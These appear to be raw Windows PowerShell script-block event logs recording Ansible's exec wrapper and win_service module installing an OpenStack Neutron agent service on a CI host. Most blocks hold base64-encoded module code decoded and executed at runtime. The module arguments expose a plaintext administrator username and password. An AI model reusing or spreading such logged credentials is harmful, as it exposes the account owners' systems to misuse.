$value = $value.ToString()
} elseif ($type -eq "bool") {
# Convert boolean types to real Powershell booleans
$value = $value | ConvertTo-Bool
} elseif ($type -eq "int") {
# Convert int types to real Powershell integers
$value = $value -as [int]
} elseif ($type -eq "float") {
# Convert float types to real Powershell floats
$value = $value -as [float]
} elseif ($type -eq "list") {
if ($value -is [array]) {
# Nothing to do
} elseif ($value -is [string]) {
# Convert string type to real Powershell array
$value = $value.Split(",").Trim()
} elseif ($value -is [int]) {
$value = @($value)
} else {
Fail-Json -obj $resultobj -message "Get-AnsibleParam: Parameter '$name' is not a YAML list."
}
# , is not a typo, forces it to return as a list when it is empty or only has 1 entry
return ,$value
}
}
return $value
}
#Alias Get-attr-->Get-AnsibleParam for backwards compat. Only add when needed to ease debugging of scripts
If (-not(Get-Alias -Name "Get-attr" -ErrorAction SilentlyContinue))
{
New-Alias -Name Get-attr -Value Get-AnsibleParam
}
Function ConvertTo-Bool
{
<#
.SYNOPSIS
Helper filter/pipeline function to convert a value to boolean following current
Ansible practices
.EXAMPLE
$is_true = "true" | ConvertTo-Bool
#>
param(
[parameter(valuefrompipeline=$true)]
$obj
)
$boolean_strings = "yes", "on", "1", "true", 1
$obj_string = [string]$obj
if (($obj -is [boolean] -and $obj) -or $boolean_strings -contains $obj_string.ToLower()) {
return $true
} else {
return $false
}
}
Function Parse-Args($arguments, $supports_check_mode = $false)
{
<#
.SYNOPSIS
Helper function to parse Ansible JSON arguments from a "file" passed as
the single argument to the module.
.EXAMPLE
$params = Parse-Args $args
#>
$params = New-Object psobject
If ($arguments.Length -gt 0)
{
$params = Get-Content $arguments[0] | ConvertFrom-Json
}
Else {
$params = $complex_args
}
$check_mode = Get-AnsibleParam -obj $params -name "_ansible_check_mode" -type "bool" -default $false
If ($check_mode -and -not $supports_check_mode)
{
Exit-Json @{
skipped = $true
changed = $false
msg = "remote module does not support check mode"
}
}
return $params
}
Function Get-FileChecksum($path, $algorithm = 'sha1')
{
<#
.SYNOPSIS
Helper function to calculate a hash of a file in a way which PowerShell 3
and above can handle
#>
If (Test-Path -Path $path -PathType Leaf)
{
switch ($algorithm)
{
'md5' { $sp = New-Object -TypeName System.Security.Cryptography.MD5CryptoServiceProvider }
'sha1' { $sp = New-Object -TypeName System.Security.Cryptography.SHA1CryptoServiceProvider }
'sha256' { $sp = New-Object -TypeName System.Security.Cryptography.SHA256CryptoServiceProvider }
'sha384' { $sp = New-Object -TypeName System.Security.Cryptography.SHA384CryptoServiceProvider }
'sha512' { $sp = New-Object -TypeName System.Security.Cryptography.SHA512CryptoServiceProvider }
default { Fail-Json @{} "Unsupported hash algorithm supplied '$algorithm'" }
}
If ($PSVersionTable.PSVersion.Major -ge 4) {
$raw_hash = Get-FileHash $path -Algorithm $algorithm
$hash = $raw_hash.Hash.ToLower()
} Else {
$fp = [System.IO.File]::Open($path, [System.IO.Filemode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::ReadWrite);
$hash = [System.BitConverter]::ToString($sp.ComputeHash($fp)).Replace("-", "").ToLower();
$fp.Dispose();
}
}
ElseIf (Test-Path -Path $path -PathType Container)
{
$hash = "3";
}
Else
{
$hash = "1";
}
return $hash
}
Function Get-PendingRebootStatus
{
<#
.SYNOPSIS
Check if reboot is required, if so notify CA.
Function returns true if computer has a pending reboot
#>
$featureData = Invoke-WmiMethod -EA Ignore -Name GetServerFeature -Namespace root\microsoft\windows\servermanager -Class MSFT_ServerManagerTasks
$regData = Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager" "PendingFileRenameOperations" -EA Ignore
$CBSRebootStatus = Get-ChildItem "HKLM:\\SOFTWARE\Microsoft\Windows\CurrentVersion\Component Based Servicing" -ErrorAction SilentlyContinue| Where-Object {$_.PSChildName -eq "RebootPending"}
if(($featureData -and $featureData.RequiresReboot) -or $regData -or $CBSRebootStatus)
{
return $True
}
else
{
return $False
}
}
# this line must stay at the bottom to ensure all defined module parts are exported
Export-ModuleMember -Alias * -Function * -Cmdlet *
ScriptBlock ID: 9a52f8c1-816c-4ba0-bd8a-2255bd7e1e1c
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2070 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4688 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:26 AM | 61e00a24-ee3b-0004-550b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (1 of 1):
{
$val = $myPsObject.($_.name);
If ($val -is [psobject]) {
$val = ConvertTo-HashtableFromPsCustomObject $val
}
$output.($_.name) = $val
}
ScriptBlock ID: 8376966d-8994-4c15-81f9-75197413f5a7
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2069 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4688 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0000-120b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (6 of 6):
ICAgICAgICAgICAkcGFzc3dvcmQgLW5lICRudWxsIC1vcgogICAgICAgICAgICAgICAgJGRpc3BsYXlfbmFtZSAtbmUgJG51bGwgLW9yCiAgICAgICAgICAgICAgICAkZGVzY3JpcHRpb24gLW5lICRudWxsIC1vcgogICAgICAgICAgICAgICAgJGRlc2t0b3BfaW50ZXJhY3QgLW5lICRmYWxzZSAtb3IKICAgICAgICAgICAgICAgICRkZXBlbmRlbmNpZXMgLW5lICRudWxsIC1vcgogICAgICAgICAgICAgICAgJGRlcGVuZGVuY3lfYWN0aW9uIC1uZSAnc2V0JykgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAkcmVzdWx0ICJTZXJ2aWNlICckbmFtZScgaXMgbm90IGluc3RhbGxlZCwgbmVlZCB0byBzZXQgJ3BhdGgnIHRvIGNyZWF0ZSBhIG5ldyBzZXJ2aWNlIgogICAgICAgICAgICB9CiAgICAgICAgfQogICAgfQp9CgojIEFmdGVyIG1ha2luZyBhIGNoYW5nZSwgbGV0J3MgZ2V0IHRoZSBzZXJ2aWNlIGluZm8gYWdhaW4gdW5sZXNzIHdlIGRlbGV0ZWQgaXQKaWYgKCRzdGF0ZSAtZXEgJ2Fic2VudCcpIHsKICAgICMgUmVjcmVhdGUgcmVzdWx0IHNvIGl0IGRvZXNuJ3QgaGF2ZSB0aGUgZXh0cmEgbWV0YSBkYXRhIG5vdyB0aGF0IGlzIGhhcyBiZWVuIGRlbGV0ZWQKICAgICRjaGFuZ2VkID0gJHJlc3VsdC5jaGFuZ2VkCiAgICAkcmVzdWx0ID0gQHsKICAgICAgICBjaGFuZ2VkID0gJGNoYW5nZWQKICAgICAgICBleGlzdHMgPSAkZmFsc2UKICAgIH0KfSBlbHNlaWYgKCRzdmMgLW5lICRudWxsKSB7CiAgICBHZXQtU2VydmljZUluZm8gLW5hbWUgJG5hbWUKfQoKRXhpdC1Kc29uIC1vYmogJHJlc3VsdAo=", "module_args": {"_ansible_version": "2.7.0", "_ansible_check_mode": false, "display_name": "neutron-ovs-agent", "_ansible_module_name": "win_service", "state": "started", "_ansible_debug": false, "_ansible_shell_executable": "/bin/sh", "username": "administrator@cbci-758944-2.local", "_ansible_selinux_special_fs": ["fuse", "nfs", "vboxsf", "ramfs", "9p"], "description": "OpenStack Neutron OVS Agent Service", "_ansible_syslog_facility": "LOG_USER", "_ansible_keep_remote_files": false, "_ansible_socket": null, "path": "c:\\openstack\\bin\\OpenStackService.exe neutron-ovs-agent c:\\python37\\scripts\\neutron-openvswitch-agent.exe --config-file c:\\openstack\\etc\\neutron-ovs-agent.conf", "password": "Passw0rd", "_ansible_no_log": false, "name": "neutron-ovs-agent", "start_mode": "auto", "_ansible_verbosity": 2, "_ansible_diff": false, "_ansible_remote_tmp": "%TEMP%", "_ansible_tmpdir": null}}
'@
}
process {
$input_as_string = [string]$input
$json_raw += $input_as_string
}
end {
If (-not $json_raw) {
Write-Error "no input given" -Category InvalidArgument
}
$payload = ConvertTo-HashtableFromPsCustomObject (ConvertFrom-Json $json_raw)
# TODO: handle binary modules
# TODO: handle persistence
$min_os_version = [version]$payload.min_os_version
if ($min_os_version -ne $null) {
$actual_os_version = [System.Environment]::OSVersion.Version
if ($actual_os_version -lt $min_os_version) {
$msg = "This module cannot run on this OS as it requires a minimum version of $min_os_version, actual was $actual_os_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$min_ps_version = [version]$payload.min_ps_version
if ($min_ps_version -ne $null) {
$actual_ps_version = $PSVersionTable.PSVersion
if ($actual_ps_version -lt $min_ps_version) {
$msg = "This module cannot run as it requires a minimum PowerShell version of $min_ps_version, actual was $actual_ps_version"
Write-Output (ConvertTo-Json @{failed=$true;msg=$msg})
exit 1
}
}
$actions = $payload.actions
# pop 0th action as entrypoint
$entrypoint = $payload.($actions[0])
$payload.actions = $payload.actions[1..99]
$entrypoint = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($entrypoint))
# load the current action entrypoint as a module custom object with a Run method
$entrypoint = New-Module -ScriptBlock ([scriptblock]::Create($entrypoint)) -AsCustomObject
Set-Variable -Scope global -Name complex_args -Value $payload["module_args"] | Out-Null
# dynamically create/load modules
ForEach ($mod in $payload.powershell_modules.GetEnumerator()) {
$decoded_module = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($mod.Value))
New-Module -ScriptBlock ([scriptblock]::Create($decoded_module)) -Name $mod.Key | Import-Module -WarningAction SilentlyContinue | Out-Null
}
$output = $entrypoint.Run($payload)
Write-Output $output
}
ScriptBlock ID: 3c709c1b-d996-4fba-a597-994cdcdee68e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2068 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4688 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0002-310b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (5 of 6):
TmFtZSgkc3ZjLCAkZGlzcGxheV9uYW1lKSB7CiAgICBpZiAoJHJlc3VsdC5kaXNwbGF5X25hbWUgLW5lICRkaXNwbGF5X25hbWUpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICAkc3ZjIHwgU2V0LVNlcnZpY2UgLURpc3BsYXlOYW1lICRkaXNwbGF5X25hbWUgLVdoYXRJZjokY2hlY2tfbW9kZQogICAgICAgIH0gY2F0Y2ggewogICAgICAgICAgICBGYWlsLUpzb24gJHJlc3VsdCAkXy5FeGNlcHRpb24uTWVzc2FnZQogICAgICAgIH0KICAgICAgICAKICAgICAgICAkcmVzdWx0LmNoYW5nZWQgPSAkdHJ1ZQogICAgfQp9CgpGdW5jdGlvbiBTZXQtU2VydmljZURlc2NyaXB0aW9uKCRzdmMsICRkZXNjcmlwdGlvbikgewogICAgaWYgKCRyZXN1bHQuZGVzY3JpcHRpb24gLW5lICRkZXNjcmlwdGlvbikgewogICAgICAgIHRyeSB7CiAgICAgICAgICAgICRzdmMgfCBTZXQtU2VydmljZSAtRGVzY3JpcHRpb24gJGRlc2NyaXB0aW9uIC1XaGF0SWY6JGNoZWNrX21vZGUKICAgICAgICB9IGNhdGNoIHsKICAgICAgICAgICAgRmFpbC1Kc29uICRyZXN1bHQgJF8uRXhjZXB0aW9uLk1lc3NhZ2UKICAgICAgICB9CiAgICAgICAgCiAgICAgICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKICAgIH0KfQoKRnVuY3Rpb24gU2V0LVNlcnZpY2VQYXRoKCRuYW1lLCAkcGF0aCkgewogICAgaWYgKCRyZXN1bHQucGF0aCAtbmUgJHBhdGgpIHsKICAgICAgICB0cnkgewogICAgICAgICAgICBTZXQtSXRlbVByb3BlcnR5IC1MaXRlcmFsUGF0aCAiSEtMTTpcU3lzdGVtXEN1cnJlbnRDb250cm9sU2V0XFNlcnZpY2VzXCRuYW1lIiAtTmFtZSBJbWFnZVBhdGggL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lfYWN0aW9uIC1lcSAnYWRkJykgewogICAgICAgICAgICAgICAgaWYgKCRuZXdfZGVwZW5kZW5jaWVzIC1ub3Rjb250YWlucyAkZGVwZW5kZW5jeSkgewogICAgICAgICAgICAgICAgICAgICRuZXdfZGVwZW5kZW5jaWVzLkFkZCgkZGVwZW5kZW5jeSkKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCiAgICAkd2lsbF9jaGFuZ2UgPSAkZmFsc2UKICAgIGZvcmVhY2ggKCRkZXBlbmRlbmN5IGluICRuZXdfZGVwZW5kZW5jaWVzKSB7CiAgICAgICAgaWYgKCRleGlzdGluZ19kZXBlbmRlbmNpZXMgLW5vdGNvbnRhaW5zICRkZXBlbmRlbmN5KSB7CiAgICAgICAgICAgICR3aWxsX2NoYW5nZSA9ICR0cnVlCiAgICAgICAgfQogICAgfQogICAgZm9yZWFjaCAoJGRlcGVuZGVuY3kgaW4gJGV4aXN0aW5nX2RlcGVuZGVuY2llcykgewogICAgICAgIGlmICgkbmV3X2RlcGVuZGVuY2llcyAtbm90Y29udGFpbnMgJGRlcGVuZGVuY3kpIHsKICAgICAgICAgICAgJHdpbGxfY2hhbmdlID0gJHRydWUKICAgICAgICB9CiAgICB9CgogICAgaWYgKCR3aWxsX2NoYW5nZSAtZXEgJHRydWUpIHsKICAgICAgICBpZiAoLW5vdCAkY2hlY2tfbW9kZSkgewogICAgICAgICAgICAkcmV0dXJuID0gJHdtaV9zdmMgfCBJbnZva2UtQ2ltTWV0aG9kIC1NZXRob2ROYW1lIENoYW5nZSAtQXJndW1lbnRzIEB7U2VydmljZURlcGVuZGVuY2llcyA9ICRuZXdfZGVwZW5kZW5jaWVzfQogICAgICAgICAgICBpZiAoJHJldHVybi5SZXR1cm5WYWx1ZSAtbmUgMCkgewogICAgICAgICAgICAgICAgJGVycm9yX21zZyA9IEdldC1XbWlFcnJvck1lc3NhZ2UgLXJldHVybl92YWx1ZSAkcmV0dXJuLlJldHV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ogICAgICAgICAgICBpZiAoJHN0YXJ0X21vZGUgLW5lICRudWxsIC1vcgogICAgICAgICAgICAgICAgJHN0YXRlIC1uZSAkbnVsbCAtb3IKICAgICAgICAgICAgICAgICR1c2VybmFtZSAtbmUgJG51bGwgLW9yCiAgICAg
ScriptBlock ID: 3c709c1b-d996-4fba-a597-994cdcdee68e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2067 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4688 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0002-310b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (4 of 6):
YXNzTmFtZSBXaW4zMl9TZXJ2aWNlIC1GaWx0ZXIgIm5hbWU9JyQoJHN2Yy5OYW1lKSciCgogICAgIyBEZWxheWVkIHN0YXJ0X21vZGUgaXMgaW4gcmVhbGl0eSBBdXRvbWF0aWMgKERlbGF5ZWQpLCBuZWVkIHRvIGNoZWNrIHJlZyBrZXkgZm9yIHR5cGUKICAgICRkZWxheWVkID0gR2V0LURlbGF5ZWRTdGF0dXMgLW5hbWUgJHN2Yy5OYW1lCiAgICAkYWN0dWFsX3N0YXJ0X21vZGUgPSAkd21pX3N2Yy5TdGFydE1vZGUuVG9TdHJpbmcoKS5Ub0xvd2VyKCkgCiAgICBpZiAoJGRlbGF5ZWQgLWFuZCAkYWN0dWFsX3N0YXJ0X21vZGUgLWVxICdhdXRvJykgewogICAgICAgICRhY3R1YWxfc3RhcnRfbW9kZSA9ICdkZWxheWVkJwogICAgfQoKICAgICRleGlzdGluZ19kZXBl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HJlc3VsdC5jaGFuZ2VkID0gJHRydWUKICAgIH0KfQoKRnVuY3Rpb24gU2V0LVNlcnZpY2VEZXNrdG9wSW50ZXJhY3QoJHdtaV9zdmMsICRkZXNrdG9wX2ludGVyYWN0KSB7CiAgICBpZiAoJHJlc3VsdC5kZXNrdG9wX2ludGVyYWN0IC1uZSAkZGVza3RvcF9pbnRlcmFjdCkgewogICAgICAgIGlmICgtbm90ICRjaGVja19tb2RlKSB7CiAgICAgICAgICAgICRyZXR1cm4gPSAkd21pX3N2YyB8IEludm9rZS1DaW1NZXRob2QgLU1ldGhvZE5hbWUgQ2hhbmdlIC1Bcmd1bWVudHMgQHtEZXNrdG9wSW50ZXJhY3QgPSAkZGVza3RvcF9pbnRlcmFjdH0KICAgICAgICAgICAgaWYgKCRyZXR1cm4uUmV0dXJuVmFsdWUgLW5lIDApIHsKICAgICAgICAgICAgICAgICRlcnJvcl9tc2cgPSBHZXQtV21pRXJyb3JNZXNzYWdlIC1yZXR1cm5fdmFsdWUgJHJldHVybi5SZXR1cm5WYWx1ZQogICAgICAgICAgICAgICAgRmFpbC1Kc29uIC1vYmogJHJlc3VsdCAtbWVzc2FnZSAiRmFpbGVkIHRvIHNldCBkZXNrdG9wIGludGVyYWN0ICQoJGRlc2t0b3BfaW50ZXJhY3QpOiAkKCRyZXR1cm4uUmV0dXJuVmFsdWUpIC0gJGVycm9yX21zZyIKICAgICAgICAgICAgfQogICAgICAgIH0KCiAgICAgICAgJHJlc3VsdC5jaGFuZ2VkID0gJHRydWUKICAgIH0KfQoKRnVuY3Rpb24gU2V0LVNlcnZpY2VEaXNwbGF5
ScriptBlock ID: 3c709c1b-d996-4fba-a597-994cdcdee68e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2066 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4688 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0002-310b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (3 of 6):
29udmVydCBzdHJpbmcgdHlwZSB0byByZWFsIFBvd2Vyc2hlbGwgYXJyYXkKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICR2YWx1ZS5TcGxpdCgiLCIpLlRyaW0oKQogICAgICAgICAgICB9IGVsc2VpZiAoJHZhbHVlIC1pcyBbaW50XSkgewogICAgICAgICAgICAgICAgJHZhbHVlID0gQCgkdmFsdWUpCiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICBGYWlsLUpzb24gLW9iaiAkcmVzdWx0b2JqIC1tZXNzYWdlICJHZXQtQW5zaWJsZVBhcmFtOiBQYXJhbWV0ZXIgJyRuYW1lJyBpcyBub3QgYSBZQU1MIGxpc3QuIgogICAgICAgICAgICB9CiAgICAgICAgICAgICMgLCBpcyBub3QgYSB0eXBvLCBmb3JjZXMgaXQgdG8gcmV0dXJuIGFzIGEgbGlzdCB3aGVuIGl0IGlzIGVtcHR5IG9yIG9ubHkgaGFzIDEgZW50cnkKICAgICAgICAgICAgcmV0dXJuICwkdmFsdWUKICAgICAgICB9CiAgICB9CgogICAgcmV0dXJuICR2YWx1ZQp9CgojQWxpYXMgR2V0LWF0dHItLT5HZXQtQW5zaWJsZVBhcmFtIGZvciBiYWNrd2FyZHMgY29tcGF0LiBPbmx5IGFkZCB3aGVuIG5lZWRlZCB0byBlYXNlIGRlYnVnZ2luZyBvZiBzY3JpcHRzCklmICgtbm90KEdldC1BbGlhcyAtTmFtZSAiR2V0LWF0dHIiIC1FcnJvckFjdGlvbiBTaWxlbnRseUNvbnRpbnVlKSkKewogICAgTmV3LUFsaW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sKICAgIEZhaWwtSnNvbiAkcmVzdWx0ICJDYW4gb25seSBzZXQgJ2Rlc2t0b3BfaW50ZXJhY3QnIHRvIHRydWUgd2hlbiAndXNlcm5hbWUnIGVxdWFscyAnTG9jYWxTeXN0ZW0nIgp9CmlmICgkcGF0aCAtbmUgJG51bGwpIHsKICAgICRwYXRoID0gW1N5c3RlbS5FbnZpcm9ubWVudF06OkV4cGFuZEVudmlyb25tZW50VmFyaWFibGVzKCRwYXRoKQp9CgpGdW5jdGlvbiBHZXQtU2VydmljZUluZm8oJG5hbWUpIHsKICAgICMgTmVlZCB0byBnZXQgbmV3IG9iamVjdHMgc28gd2UgaGF2ZSB0aGUgbGF0ZXN0IGluZm8KICAgICRzdmMgPSBHZXQtU2VydmljZSB8IFdoZXJlLU9iamVjdCB7ICRfLk5hbWUgLWVxICRuYW1lIC1vciAkXy5EaXNwbGF5TmFtZSAtZXEgJG5hbWUgfQogICAgJHdtaV9zdmMgPSBHZXQtQ2ltSW5zdGFuY2UgLUNs
ScriptBlock ID: 3c709c1b-d996-4fba-a597-994cdcdee68e
Path: | 4104 | 1 | | 3 | 2 | 15 | 0 | 2065 | Microsoft-Windows-PowerShell | a0c1853b-5c40-4b15-8766-3cf1c58f985a | Microsoft-Windows-PowerShell/Operational | 4932 | 4688 | n-h1-758944-2.cbci-758944-2.local | S-1-5-21-515264741-2492211561-2358739663-1001 | 1/19/2021 8:17:25 AM | 61e00a24-ee3b-0002-310b-e0613beed601 | | microsoft-windows-powershell/operational | System.UInt32[] | System.Diagnostics.Eventing.Reader.EventBookmark | Warning | On create calls | Execute a Remote Command | System.Collections.ObjectModel.ReadOnlyCollection`1[System.String] | System.Collections.Generic.List`1[System.Diagnostics.Eventing.Reader.EventProperty] |
Creating Scriptblock text (2 of 6):
FNldC1BdHRyICRyZXN1bHQgImNoYW5nZWQiICR0cnVlCiM+CgogICAgIyBJZiB0aGUgcHJvdmlkZWQgJG9iaiBpcyB1bmRlZmluZWQsIGRlZmluZSBvb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m91bmQgPSAkbnVsbAogICAgICAgICMgRmlyc3QgdHJ5IHRvIGZpbmQgcHJlZmVycmVkIHBhcmFtZXRlciAkbmFtZQogICAgICAgICRhbGlhc2VzID0gQCgkbmFtZSkgKyAkYWxpYXNlcwoKICAgICAgICAjIEl0ZXJhdGUgb3ZlciBhbGlhc2VzIHRvIGZpbmQgYWNjZXB0YWJsZSBNZW1iZXIgJG5hbWUKICAgICAgICBmb3JlYWNoICgkYWxpYXMgaW4gJGFsaWFzZXMpIHsKICAgICAgICAgICAgaWYgKCRvYmouQ29udGFpbnNLZXkoJGFsaWFzKSkgewogICAgICAgICAgICAgICAgJGZvdW5kID0gJGFsaWFzCiAgICAgICAgICAgICAgICBicmVhawogICAgICAgICAgICB9CiAgICAgICAgfQoKICAgICAgICBpZiAoJG51bGwgLWVxICRmb3VuZCkgewogICAgICAgICAgICB0aHJvdwogICAgICAgIH0KICAgICAgICAkbmFtZSA9ICRmb3VuZAoKICAgICAgICBpZiAoJFZhbGlkYXRlU2V0KSB7CgogICAgICAgICAgICBpZiAoJFZhbGlkYXRlU2V0IC1jb250YWlucyAoJG9iai4kbmFtZSkpIHsKICAgICAgICAgICAgICAgICR2YWx1ZSA9ICRvYmouJG5hbWUKICAgICAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgICAgIGlmICgkbnVsbCAtZXEgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlKSB7CiAgICAgICAgICAgICAgICAgICAgI0F1dG8tZ2VuZXJhdGVkIGVycm9yIHNob3VsZCBiZSBzdWZmaWNpZW50IGluIG1vc3QgdXNlIGNhc2VzCiAgICAgICAgICAgICAgICAgICAgJFZhbGlkYXRlU2V0RXJyb3JNZXNzYWdlID0gIkdldC1BbnNpYmxlUGFyYW06IEFyZ3VtZW50ICRuYW1lIG5lZWRzIHRvIGJlIG9uZSBvZiAkKCRWYWxpZGF0ZVNldCAtam9pbiAiLCIpIGJ1dCB3YXMgJCgkb2JqLiRuYW1lKS4iCiAgIC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KICAgIGlmICgkbnVsbCAtbmUgJHZhbHVlIC1vciAkdmFsdWUgLWlzIFthcnJheV0pIHsKICAgICAgICBpZiAoJHR5cGUgLWVxICJwYXRoIikgewogICAgICAgICAgICAjIEV4cGFuZCBlbnZpcm9ubWVudCB2YXJpYWJsZXMgb24gcGF0aC10eXBlCiAgICAgICAgICAgICR2YWx1ZSA9IEV4cGFuZC1FbnZpcm9ubWVudCgkdmFsdWUpCiAgICAgICAgICAgICMgVGVzdCBpZiBhIHZhbGlkIHBhdGggaXMgcHJvdmlkZWQKICAgICAgICAgICAgaWYgKC1ub3QgKFRlc3QtUGF0aCAtSXNWYWxpZCAkdmFsdWUpKSB7CiAgICAgICAgICAgICAgICAkcGF0aF9pbnZhbGlkID0gJHRydWUKICAgICAgICAgICAgICAgICMgY291bGQgc3RpbGwgYmUgYSB2YWxpZC1zaGFwZWQgcGF0aCB3aXRoIGEgbm9uZXhpc3RlbnQgZHJpdmUgbGV0dGVyCiAgICAgICAgICAgICAgICBpZiAoJHZhbHVlIC1tYXRjaCAiXlx3OiIpIHsKICAgICAgICAgICAgICAgICAgICAjIHJld3JpdGUgcGF0aCB3aXRoIGEgdmFsaWQgZHJpdmUgbGV0dGVyIGFuZCByZWNoZWNrIHRoZSBzaGFwZS0gdGhpcyBtaWdodCBzdGlsbCBmYWlsLCBlZywgYSBub25leGlzdGVudCBub24tZmlsZXN5c3RlbSBQUyBwYXRoCiAgICAgICAgICAgICAgICAgICAgaWYgKFRlc3QtUGF0aCAtSXNWYWxpZCAkKEAoR2V0LVBTRHJpdmUgLVBTUHJvdmlkZXIgRmlsZXN5c3RlbSlbMF0uTmFtZSArICR2YWx1ZS5TdWJzdHJpbmcoMSkpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRwYXRoX2ludmFsaWQgPSAkZmFsc2UKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoJHBhdGhfaW52YWxpZCkgewogICAgICAgICAgICAgICAgICAgIEZhaWwtSnNvbiAtb2JqICRyZXN1bHRvYmogLW1lc3NhZ2UgIkdldC1BbnNpYmxlUGFyYW06IFBhcmFtZXRlciAnJG5hbWUnIGhhcyBhbiBpbnZhbGlkIHBhdGggJyR2YWx1ZScgc3BlY2lmaWVkLiIKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgInN0ciIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IHN0ciB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgc3RyaW5ncwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUuVG9TdHJpbmcoKQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImJvb2wiKSB7CiAgICAgICAgICAgICMgQ29udmVydCBib29sZWFuIHR5cGVzIHRvIHJlYWwgUG93ZXJzaGVsbCBib29sZWFucwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgfCBDb252ZXJ0VG8tQm9vbAogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImludCIpIHsKICAgICAgICAgICAgIyBDb252ZXJ0IGludCB0eXBlcyB0byByZWFsIFBvd2Vyc2hlbGwgaW50ZWdlcnMKICAgICAgICAgICAgJHZhbHVlID0gJHZhbHVlIC1hcyBbaW50XQogICAgICAgIH0gZWxzZWlmICgkdHlwZSAtZXEgImZsb2F0IikgewogICAgICAgICAgICAjIENvbnZlcnQgZmxvYXQgdHlwZXMgdG8gcmVhbCBQb3dlcnNoZWxsIGZsb2F0cwogICAgICAgICAgICAkdmFsdWUgPSAkdmFsdWUgLWFzIFtmbG9hdF0KICAgICAgICB9IGVsc2VpZiAoJHR5cGUgLWVxICJsaXN0IikgewogICAgICAgICAgICBpZiAoJHZhbHVlIC1pcyBbYXJyYXldKSB7CiAgICAgICAgICAgICAgICAjIE5vdGhpbmcgdG8gZG8KICAgICAgICAgICAgfSBlbHNlaWYgKCR2YWx1ZSAtaXMgW3N0cmluZ10pIHsKICAgICAgICAgICAgICAgICMgQ
ScriptBlock ID: 3c709c1b-d996-4fba-a597-994cdcdee68e
